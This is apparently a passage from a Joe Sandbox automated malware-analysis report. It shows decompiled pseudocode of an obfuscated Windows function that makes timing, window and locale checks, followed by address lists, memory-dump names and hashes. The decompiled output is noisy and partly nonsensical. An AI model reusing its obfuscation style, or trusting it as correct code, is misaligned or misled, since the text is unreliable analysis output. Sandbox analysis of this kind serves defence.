				if (_t182 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t321;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t321;
				IsIconic(??);
				asm("adc al, 0x0");
				_t268 = 0x50 + _t321;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t268);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t271 = (_t268 - _t321 | 0xffffff80) + _t321;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t271);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t274 = (_t271 - _t321 | 0xffffff80) + _t321;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t274);
				E00007FF67FF6B1D3ACF4(_t274);
				E00007FF67FF6B1D3ACF4(_t274);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t277 = (_t274 - _t321 | 0xffffff80) + _t321;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t321;
				E00007FF67FF6B1D3ACF4(_t277);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t280 = (_t277 - _t321 | 0xffffff80) + _t321;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t280);
				E00007FF67FF6B1D3ACF4(_t280);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t283 = (_t280 - _t321 | 0xffffff80) + _t321;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t283);
				E00007FF67FF6B1D3ACF4(_t283);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t286 = (_t283 - _t321 | 0xffffff80) + _t321;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t286);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t292 = ((_t286 - _t321 | 0xffffff80) + _t321 - _t321 | 0xffffff80) + _t321;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t129 = E00007FF67FF6B1D3ACF4(_t292);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t292 - _t321 | 0xffffff80) + _t321 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t129 & r14d;
			}

0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6B1CA8248

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: LengthTextWindow
String ID:
API String ID: 298885082-0
Opcode ID: 9828f488370af34514215b6ba0e9b1fe2884b5fa2a7dc9df3e91bf76a2f30ff8
Instruction ID: 27a21af22c9008457283a83fc0c66c2de94988fd8a293a30735b9368b036c8bc
Opcode Fuzzy Hash: 9828f488370af34514215b6ba0e9b1fe2884b5fa2a7dc9df3e91bf76a2f30ff8
Instruction Fuzzy Hash: 74517267F3C90AA7E7115F3CAD492B972A16F2060AF740739D709E218ADF3CB5818648

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7F70 Relevance: 6.1, APIs: 4, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6B1CA7F70(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t79;
				void* _t101;
				signed int _t144;
				signed int _t155;
				signed int _t157;
				void* _t166;
				void* _t173;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t191;
				void* _t194;
				void* _t195;
				void* _t197;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t220;
				void* _t223;
				void* _t226;
				void* _t229;
				void* _t232;
				void* _t235;
				void* _t238;
				void* _t241;
				void* _t244;
				void* _t247;
				signed long long _t250;
				void* _t253;
				void* _t256;
				void* _t259;
				void* _t262;
				void* _t265;
				void* _t268;
				void* _t271;
				void* _t274;
				void* _t277;
				signed long long _t280;
				void* _t283;
				signed long long _t288;
				void* _t291;
				void* _t294;
				void* _t297;
				void* _t300;
				void* _t303;
				void* _t312;
				void* _t315;
				void* _t318;
				void* _t321;
				void* _t324;
				void* _t327;
				void* _t330;
				void* _t336;
				void* _t341;
				signed long long _t348;
				signed long long _t359;
				void* _t362;
				signed long long _t365;
				void* _t371;

				_t223 = (_t220 - _t365 | _t359) + _t365;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t223);
				if (_t223 - 0x15 >= 0) goto 0xb1ca7f94;
				_t226 = (_t223 - _t365 | _t359) + _t365;
				if (_t226 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t226) & r14d) >= 0) goto 0xb1ca7fa9;
				_t229 = (_t226 - _t365 | _t359) + _t365;
				_t173 = _t229 - 0x13;
				if (_t173 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t229);
				if (_t173 >= 0) goto 0xb1ca7fc2;
				_t232 = (_t229 - _t365 | _t359) + _t365;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t173 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t232) & r14d) >= 0) goto 0xb1ca7fec;
				_t235 = (_t232 - _t365 | _t359) + _t365;
				if (_t235 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t235) & r14d) >= 0) goto 0xb1ca8005;
				_t238 = (_t235 - _t365 | _t359) + _t365;
				if (_t238 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t238) & r14d) >= 0) goto 0xb1ca8020;
				_t241 = (_t238 - _t365 | _t359) + _t365;
				 *0xb1decf60 = _t348;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t241);
				_t180 = E00007FF67FF6B1D3ACF4(_t241) & r14d;
				if (_t180 >= 0) goto 0xb1ca8046;
				_t244 = (_t241 - _t365 | _t359) + _t365;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t180 != 0) goto 0xb1ca805e;
				if (_t180 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t365;
				E00007FF67FF6B1D3ACF4(_t244);
				if (_t180 >= 0) goto 0xb1ca807a;
				_t247 = (_t244 - _t365 | _t359) + _t365;
				_t181 = _t247 - 0x3f;
				 *0xb1decf60 = _t348;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t247);
				if (_t181 >= 0) goto 0xb1ca80a0;
				_t250 = (_t247 - _t365 | _t359) + _t365;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t250;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t250);
				if (_t181 >= 0) goto 0xb1ca80d1;
				_t253 = (_t250 - _t365 | _t359) + _t365;
				 *0xb1decf60 = _t348;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t253);
				if (_t253 - 0x13 >= 0) goto 0xb1ca80f7;
				_t256 = (_t253 - _t365 | _t359) + _t365;
				_t183 = _t256 - 0x3f;
				if (_t183 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t256);
				if (_t183 >= 0) goto 0xb1ca810c;
				_t259 = (_t256 - _t365 | _t359) + _t365;
				_t155 = r15d & 0xffffff00 | _t259 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t348;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t259) & r14d) >= 0) goto 0xb1ca812d;
				_t262 = (_t259 - _t365 | _t359) + _t365;
				if (_t262 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t262) & r14d) >= 0) goto 0xb1ca8142;
				_t265 = (_t262 - _t365 | _t359) + _t365;
				if (_t265 != 0x7e) goto 0xb1ca8168;
				_t79 = E00007FF67FF6B1D3ACF4(_t265);
				_t80 = _t79 & r14d;
				if ((_t79 & r14d) >= 0) goto 0xb1ca8157;
				_t268 = (_t265 - _t365 | _t359) + _t365;
				r8d = r15d;
				r8b = _t268 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t80, _t166, _t341, _a144, _t362); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t155, _t341, 0, _t268, _t371), _t166, _a144);
				 *0xb1decf60 = _t365;
				E00007FF67FF6B1D3ACF4(_t268);
				E00007FF67FF6B1D3ACF4(_t268);
				asm("push es");
				_t271 = (_t268 - _t365 | 0xffffff80) + _t365;
				asm("movsd xmm6, [0x11694a]");
				_t191 = _t271 - 5;
				if (_t191 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t271);
				if (_t191 >= 0) goto 0xb1ca81e3;
				_t274 = (_t271 - _t365 | 0xffffff80) + _t365;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t191 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t274);
				if (_t191 >= 0) goto 0xb1ca820e;
				_t277 = (_t274 - _t365 | 0xffffff80) + _t365;
				if (_t277 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t277);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t280 = (_t277 - _t365 | 0xffffff80) + _t365;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t280;
				 *0xb1decf60 = _t365;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t194 = r12d - 0x42;
				if (_t194 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t280);
				if (_t194 >= 0) goto 0xb1ca8274;
				_t283 = (_t280 - _t365 | 0xffffff80) + _t365;
				_t195 = _t283 - 0x2e;
				if (_t195 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t283);
				if (_t195 >= 0) goto 0xb1ca828f;
				_t157 = r15d & 0xffffff00 | (_t283 - _t365 | 0xffffff80) + _t365 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t101 = E00007FF67FF6B1D3ACF4((_t283 - _t365 | 0xffffff80) + _t365);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t157;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t157;
				 *0x6b =  *0x6b + _t101;
				_t288 = _a168 + _t365;
				_a168 = _t288;
				 *0xb1decf60 = _t288;
				_t197 = _t288 - 0x1f;
				if (_t197 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t365;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t288 =  *_t288 | _t288;
				if (_t197 >= 0) goto 0xb1ca8308;
				_t291 = (_t288 - _t365 | 0xffffff80) + _t365;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t197 != 0) goto 0xb1ca8318;
				if (_t197 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t291) & r14d) >= 0) goto 0xb1ca8333;
				_t294 = (_t291 - _t365 | 0xffffff80) + _t365;
				if (_t294 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t294) & r14d) >= 0) goto 0xb1ca835e;
				_t297 = (_t294 - _t365 | 0xffffff80) + _t365;
				if (_t297 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t297);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t300 = (_t297 - _t365 | 0xffffff80) + _t365;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t300);
				if (_t300 - 0x34 >= 0) goto 0xb1ca8397;
				_t303 = (_t300 - _t365 | 0xffffff80) + _t365;
				_t205 = _t303 - 0x1f;
				if (_t205 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t303);
				if (_t205 >= 0) goto 0xb1ca83ac;
				_t206 = (_t303 - _t365 | 0xffffff80) + _t365 - 4;
				if (_t206 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t303 - _t365 | 0xffffff80) + _t365);
				if (_t206 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t208 = r13d - 0x54;
				if (_t208 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t208 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t365;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t365;
				IsIconic(??);
				asm("adc al, 0x0");
				_t312 = 0x50 + _t365;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t312);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t315 = (_t312 - _t365 | 0xffffff80) + _t365;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t315);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t318 = (_t315 - _t365 | 0xffffff80) + _t365;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t318);
				E00007FF67FF6B1D3ACF4(_t318);
				E00007FF67FF6B1D3ACF4(_t318);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t321 = (_t318 - _t365 | 0xffffff80) + _t365;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t365;
				E00007FF67FF6B1D3ACF4(_t321);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t324 = (_t321 - _t365 | 0xffffff80) + _t365;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t324);
				E00007FF67FF6B1D3ACF4(_t324);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t327 = (_t324 - _t365 | 0xffffff80) + _t365;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t327);
				E00007FF67FF6B1D3ACF4(_t327);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t330 = (_t327 - _t365 | 0xffffff80) + _t365;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t330);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t336 = ((_t330 - _t365 | 0xffffff80) + _t365 - _t365 | 0xffffff80) + _t365;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t144 = E00007FF67FF6B1D3ACF4(_t336);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t336 - _t365 | 0xffffff80) + _t365 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t144 & r14d;
			}

0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
